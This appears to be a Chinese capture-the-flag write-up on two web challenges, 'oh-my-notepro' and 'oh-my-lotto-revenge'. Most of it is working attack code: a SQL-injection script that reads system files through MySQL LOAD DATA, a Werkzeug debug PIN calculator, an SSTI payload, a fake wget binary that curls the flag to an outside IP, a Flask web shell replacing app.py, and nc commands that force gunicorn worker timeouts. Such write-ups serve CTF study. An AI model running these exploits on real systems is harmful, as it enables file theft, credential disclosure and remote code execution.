oh-my-notepro
网站可以任意登陆,在/view?note_id=
路由处存在sql注入。
http://121.37.153.47:5002/view?note_id=1%27%20union%20select%201,2,3,4,5--%20-
如果构造错误sql语句就会进入Flask的debug页面,下面的工作就是计算出PIN码
Flask算PIN码这篇文章给出了PIN码的具体算法,前提是我们知道如下几个信息
- username:通过getpass.getuser()读取,通过文件读取
/etc/passwd
- modname:通过getattr(mod,“file”,None)读取,默认值为flask.app
- appname:通过getattr(app,“name”,type(app).name)读取,默认值为Flask
- moddir:flask库下的app.py的绝对路径,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
- uuidnode:通过uuid.getnode()读取,通过文件
/sys/class/net/eth0/address
得到16进制结果,转化为10进制进行计算 - machine_id:每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取
除去默认值之外,我们现在还需要读取文件/sys/class/net/eth0/address
获取uuidnode,读取/etc/machine-id
、/proc/self/cgroup
获取machine_id。
Mysql将文件导入表
我们可以通过sql的load data local infile FILE_NAME into table TABLE_NAME
语句来将文件数据导入表。
前提是Mysql开启local_infile
选项,同时secure_file_priv
需要为空
下面就是编写脚本通过sql注入来读取文件了
import requests
url="http://121.37.153.47:5002/view?note_id="
# proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
file1="/sys/class/net/eth0/address"
file2="/etc/machine-id"
file3="/proc/self/cgroup"
file4="/proc/sys/kernel/random/boot_id"
file5="/etc/group"
table1="address"
table2="machine_idi"
table3="cgroup"
table4="boot_idi"
table5="usss"
payload1='''1';create table {}(data+varchar(10000));load data local infile \"{}\" into table {};%23'''.format(table3,file3,table3)
payload2='''1' union select 1,2,3,4,(select group_concat(data) from ctf.{})%23'''.format(table3)
s=requests.session()
headers={"Cookie":"session=eyJjc3JmX3Rva2VuIjoiMzhhZmIxODFiYTgyZjYyNGM0NWIwYjBiNzFkYzg0NGRiYmEwNTA2MCIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Ylz18g.jOu_M3baGQYJau8dNt1RIRTiv_A",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"}
r1=s.get(url+payload1,headers=headers)
r2=s.get(url+payload2,headers=headers)
with open("file1","w") as f1:
f1.write(r1.text)
with open("file2","w") as f1:
f1.write(r2.text)
#/sys/class/net/eth0/address如下
02:42:ac:12:00:03
转十进制如下
2485377957891
#/etc/machine-id如下
1cc402dd0e11d5ae18db04a6de87223d
#/proc/self/cgroup如下
3b55f2a86da3999a938038d9744288ff780d859a670ec4ac754dbd40f154eb34
#/proc/sys/kernel/random/boot_id如下
e86c4117-eed3-4a37-82bc-b5fa47a88e0b
PIN码生成脚本如下
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py', # 报错得到
]
private_bits = [
'2485377957891',# /sys/class/net/eth0/address 16进制转10进制
#由/etc/machine-id和/proc/self/cgroup拼接
#有时是由/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接
'1cc402dd0e11d5ae18db04a6de87223d3b55f2a86da3999a938038d9744288ff780d859a670ec4ac754dbd40f154eb34'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#生成PIN码如下
115-650-971
命令执行即可
Trick
- /proc/self/cgroup的内容可由/proc/self/mounts或者/proc/self/mountinfo中
/docker/
后的内容替代 - 可通过爆破
pid
来绕过self
oh-my-lotto-revenge
关键代码如下
...
def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True
...
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
os.system('wget --content-disposition -N lotto')
...
在执行wget
命令的情况下,如果我们能够控制一些环境变量,我们能否进行RCE或者读取一些敏感信息呢?
可以想到的一个思路就是设置http_proxy
环境变量为vps,然后让wget --content-disposition
下载vps上放置的同名wget恶意ELF,然后再将PATH环境变量的路径改为/app,os.system('wget')
就相当于执行我们的恶意ELF。但是有如下两个问题
- http、proxy等关键词被过滤
- 下载的恶意文件没有执行权限
如此一来,我们只能另寻方法了
非预期解
下载wget的源码,查看是否有可以控制并利用的环境变量
在init.c#574中,有如下代码
...
char *
wgetrc_env_file_name (void)
{
char *env = getenv ("WGETRC");
if (env && *env)
{
file_stats_t flstat;
if (!file_exists_p (env, &flstat))
{
fprintf (stderr, _("%s: WGETRC points to %s, which couldn't be accessed because of error: %s.\n"),
exec_name, env, strerror(flstat.access_err));
exit (WGET_EXIT_GENERIC_ERROR);
}
return xstrdup (env);
}
return NULL;
}
...
环境变量WGETRC
可以指定wget的配置文件,然后配合http_proxy
和output_document
参数,可以将数据写入指定文件,进而覆盖模板文件进行SSTI。
vps上放置
from flask import Flask, make_response
app = Flask(__name__)
@app.route("/")
def index():
r=r'''{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}'''
response = make_response(r)
response.headers['Content-Type'] = 'text/plain '
response.headers['Content-Disposition'] = 'attachment; filename=index.html'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=49115)
上传WGETRC配置文件forecast.txt
http_proxy=http://ip:49115/
output_document=/app/templates/index.html
然后将环境变量WGETRC指向我们构造的配置文件/app/guess/forecast.txt
即可
当然这里也可以选择覆盖/usr/bin
下的wget
命令,直接让系统执行我们的恶意”wget”,恶意wget如下
#include<stdlib.h>
void main() {
system("curl http://47.108.180.208:49177/ -X POST --data `echo $flag`");
}
#编译为ELF
gcc -o wget wget.c
编写WGETRC如下
http_proxy=http://ip:49115/
output_document=/usr/bin/wget
vps监听端口即可收到flag
预期解
翻阅Linux环境变量文档,我们能够发现HOSTALIASES
这样一个环境变量,可以设置shell的hosts加载文件,给host域名设置一个别名。
命令wget --content-disposition -N lotto
使用了lotto作为域名,这里我们可以将其设置为我们vps域名的别名,这样wget就会向我们的vps发起请求了
# hosts
lotto goodapple.top
下面在vps的80端口搭建恶意服务器,利用方式类似非预期解,不过这次覆盖的是app.py
from flask import Flask, request, make_response
import mimetypes
app = Flask(__name__)
@app.route("/")
def index():
r = '''
from flask import Flask,request
import os
app = Flask(__name__)
@app.route("/shell", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
'''
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=80)
这里flask使用了debug模式,所以当程序app.py
改变的时候,flask会自动重新加载。
但由于本题使用了gunicorn部署,app.py
在改变的情况下并不会实时加载。所以下面的工作就是让gunicorn重新部署app.py。
Gunicorn是什么
Gunicorn(Green Unicorn)是一个 UNIX 下的 WSGI HTTP 服务器,它是一个 移植自 Ruby 的 Unicorn 项目的 pre-fork worker 模型。它既支持 eventlet , 也支持 greenlet。相较于原生的flask server有更好的并发性。
在管理 worker 上,使用了 pre-fork 模型,即一个 master 进程管理多个 worker 进程,所有请求和响应均由 Worker 处理。Master 进程是一个简单的 loop, 监听 worker 不同进程信号并且作出响应。比如接受到 TTIN 提升 worker 数量,TTOU 降低运行 Worker 数量。如果 worker 挂了,发出 CHLD, 则重启失败的 worker, 同步的 Worker 一次处理一个请求。
gunicorn使用一种pre-forked worker
的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的的POC如下
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000
成功重启
师傅,请问怎么复现的,是有docker吗,能麻烦发一份吗
已发送
多谢师傅